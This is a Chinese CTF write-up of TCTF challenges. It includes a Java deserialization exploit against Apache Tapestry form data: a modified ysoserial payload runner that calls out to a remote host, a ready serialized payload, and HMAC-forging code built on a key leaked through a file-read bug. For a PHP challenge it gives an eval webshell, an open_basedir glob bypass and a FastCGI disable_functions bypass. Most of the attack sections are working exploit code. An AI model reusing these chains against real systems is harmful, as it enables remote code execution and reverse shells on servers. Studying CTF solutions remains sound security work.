不说了,菜就没什么好说的,都是比赛时没做出来的orz
TCTF Hotel Booking System
首先能确认版本
那就下载tapestry 5.4.3的源码准备康康。
搜索酒店功能发现post过去一堆base64,随便改下,报错了
在tapestry 5.4.3源码中全局搜索关键字
在tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java
中找到
继续全局搜索validateHMAC
,看看哪里调用了
在tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java
中找到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| public ObjectInputStream decodeClientData(String clientData)
{
// The clientData is Base64 that's been gzip'ed (i.e., this matches
// what ClientDataSinkImpl does).
int colonx = clientData.indexOf(':');
if (colonx < 0)
{
throw new IllegalArgumentException("Client data must be prefixed with its HMAC code.");
}
// Extract the string presumably encoded by the server using the secret key.
String storedHmacResult = clientData.substring(0, colonx);
String clientStream = clientData.substring(colonx + 1);
try
{
Base64InputStream b64in = new Base64InputStream(clientStream);
validateHMAC(storedHmacResult, b64in);
// After reading it once to validate, reset it for the actual read (which includes the GZip decompression).
b64in.reset();
BufferedInputStream buffered = new BufferedInputStream(new GZIPInputStream(b64in));
return new ObjectInputStream(buffered);
} catch (IOException ex)
{
throw new RuntimeException(ex);
}
}
|
这个函数的作用是将传进来的字符串以:
分割,第一部分为hmac值,第二部分经过base64decode
和gzip
解压后是一个类的输入流,估计下一步就是反序列化了,而且输入的字符串和post中的base64一模一样,有搞头了23333
冲冲冲,继续全局搜,搜出来很多,但是最终锁定tapestry-core/src/main/java/org/apache/tapestry5/corelib/components/Form.java
在executeStoredActions
这个函数中存在一个readObject
,同时也能证明传给decodeClientData
的参数就是表单中的t:formdata
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| private void executeStoredActions(boolean forFormCancel)
{
String[] values = request.getParameters(FORM_DATA);
if (!request.getMethod().equals("POST") || values == null)
throw new RuntimeException(messages.format("core-invalid-form-request", FORM_DATA));
// Due to Ajax there may be multiple values here, so
// handle each one individually.
for (String clientEncodedActions : values)
{
if (InternalUtils.isBlank(clientEncodedActions))
continue;
logger.debug("Processing actions: {}", clientEncodedActions);
ObjectInputStream ois = null;
Component component = null;
try
{
ois = clientDataEncoder.decodeClientData(clientEncodedActions);
while (!eventCallback.isAborted())
{
String componentId = ois.readUTF();
boolean cancelAction = ois.readBoolean();
ComponentAction action = (ComponentAction) ois.readObject();
// Actions are a mix of ordinary actions and cancel actions. Filter out one set or the other
// based on whether the form was submitted or cancelled.
if (forFormCancel != cancelAction)
{
continue;
}
component = source.getComponent(componentId);
logger.debug("Processing: {} {}", componentId, action);
action.execute(component);
component = null;
}
} catch (EOFException ex)
{
// Expected
} catch (Exception ex)
{
Location location = component == null ? null : component.getComponentResources().getLocation();
throw new TapestryException(ex.getMessage(), location, ex);
} finally
{
InternalUtils.close(ois);
}
}
}
|
并且根据注释,可以使用C3P0
来构造poc
因为它先readUTF
后再readBoolean
,所以payload就要write
,于是魔改ysoserial
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
| package ysoserial.payloads.util;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.concurrent.Callable;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/* * utility class for running exploits locally from command line */
@SuppressWarnings("unused")
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>() {
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);
FileOutputStream fos = new FileOutputStream("/tmp/payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
String completeId = "123";
boolean cancel = false;
os.writeUTF(completeId);
os.writeBoolean(cancel);
os.writeObject(objBefore);
os.close();
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}
});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
}
private static String getDefaultTestCmd() {
return getFirstExistingFile(
"C:\\Windows\\System32\\calc.exe",
"/Applications/Calculator.app/Contents/MacOS/Calculator",
"/usr/bin/gnome-calculator",
"/usr/bin/kcalc"
);
}
private static String getFirstExistingFile(String... files) {
return "http://1.2.3.4/:Exp";
// for (String path : files) {
// if (new File(path).exists()) {
// return path;
// }
// }
// throw new UnsupportedOperationException("no known test executable");
}
}
|
然后将生成/tmp/payload
进行gzip
压缩后再base64encode
剩下的就是把这串东西进行签名,计算出hmac值,但是缺一个hmacKey
在github上发现了同款hotel系统,下过来进行代码审计,发现hmacKey
应该在services/AppModule.java
中
所以缺一个文件读取,幸运的是tapestry 5.3版本存在一个文件读取漏洞
http://tapestry.apache.org/assets.html#Assets-AssetSecurity
于是访问http://test.com/assets/app/e966626/services/AppModule.class
,进行反编译后获得hmacKey
那就写一点代码来处理下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| import javax.crypto.spec.SecretKeySpec;
import org.apache.tapestry5.internal.TapestryInternalUtils;
import org.apache.tapestry5.internal.util.Base64InputStream;
import org.apache.tapestry5.internal.util.MacOutputStream;
import java.net.URLEncoder;
public class Main {
public static void main(String[] args) throws Exception{
String payload = "H4sIAGrTEV0AA3VTO28UMRCe5C6CPAiBBBREF6UACm8u4RESUZADlJOOEHFRhJTK553kNvHaju297CHxaCiR6OhAokqBxH+ggAoEJQ01FPwGsHcvx+Xlaj3+5pvvm5l9/wf6doZhsCJCTOe2E9QtMBouMRmTmDWo2EDSnCZsRk2RZSn5AmVbGN6hltZkohn+nPjCP/99ttsLkGq4dlRaFCtObteN1ZTZozggPz2FjKN0LMdRuQvUdOWfrMCISOJF5Ar1SkMjDU0VxpkUApmNpPAU/5MtTFY3aZOmgdnmQfkY1HwVhsPObYnGLu9slhdwJzKoWR2JDYcawNSiMI7AWDidIxIb8eA+Ve55bN35l7pV5tSYqmTUl9qGp1CswqkoRGEj21qRW7gXLCjmiCZyojpSYYJlLZ0z2ypn7aklSkltHXeheQi6ilbSOsf90FTt9EKPm/CtA20WNHYuyENcR42CoVuISKMXPNmJ1VBHlEePMaxfePHt+5WPo71e56Drr3Xe89aMtluaEwY+6AWiaFo419WURWoa1gt0r0UHRu96oAr9eq+chfH9XB0hzoY7zsX57P2Q+F+f3rzb/f2yP5PXR8NQm87MsuKrmTNXeYj5adzLJ9Pu+1h37MCg+rO3pbbcYupFjHhe4nlJzvvj9ZO15/Mf3EIWKnCGUUWZG21FMI2xG3MFhpBnX2WZCLsGg+2r3znXwLWu5XpQ33SUzm97ySHRewDiAaQNePX10dsRc5n7/9BjB1TnpBYKd1Nl4WLDWjUXBKWb06R0fZZcvUFKM6W52anZqcDCCUwVl5H1KTtFXyr1q5L+A2eXkxUiBAAA";
SecretKeySpec hmacKey = new SecretKeySpec("TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)".getBytes(), "HmacSHA1");
Base64InputStream b64in = new Base64InputStream(payload);
MacOutputStream macOs = MacOutputStream.streamFor(hmacKey);
TapestryInternalUtils.copy(b64in, macOs);
macOs.close();
String actual = macOs.getResult();
System.out.println(URLEncoder.encode(actual+":"+payload));
}
}
|
然后把t:formdata
改成这个就反弹shell了
Wallbreaker (not very) Hard
vim备份文件拿到webshell的密码
1
2
3
4
5
6
7
8
9
10
11
| <!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Hey Brave, You should break some walls to kill the Dragon.
Break walls, kill the Dragon, Save the princess!
Wall A: Gain a webshell
Wall B: <?php echo ini_get('disable_functions') . "\n";?>
Wall C: <?php echo ini_get('open_basedir') . "\n";?>
Here's a backdoor, to help you break Wall A.
Backdoor: <?php eval($_POST["anfkBJbfqkfqasd"]);?>
</code></pre></body>
|
看了眼disable_function
发现对socket进行操作的函数没被ban,又是nginx起的,用fastcgi
打实锤
试了/run/php/php7.2-fpm.sock
不对,那就是sock文件名被改了,用glob bypass open_basedir
1
2
3
4
5
6
7
| <?php
if ($dh = opendir("glob:///*/*/*")) {
while (($file = readdir($dh)) !== false) {
echo "$file\n";
}
closedir($dh);
}
|
nice,找到了
首先自己写个php扩展来实现system的功能,然后把编译后的so文件上传到/tmp
目录,然后就使用https://github.com/wofeiwo/webcgi-exploits/来构造fcgi请求,添加env[PHP_ADMIN_VALUE] = "extension = /tmp/catsystem.so"
,然后post,执行catsytem()
(然而可以使用蚁剑的bypass disable_function一把梭
当时我们想的的是直接用fcgi改disable_function,为什么没有效果这篇文章讲的十分清晰https://bithack.io/forum/308
babydb
ocaml十分硬核,在学习语法中…
参考
http://momomoxiaoxi.com/ctf/2019/06/11/TCTFfinal/
https://bugs.php.net/bug.php?id=73891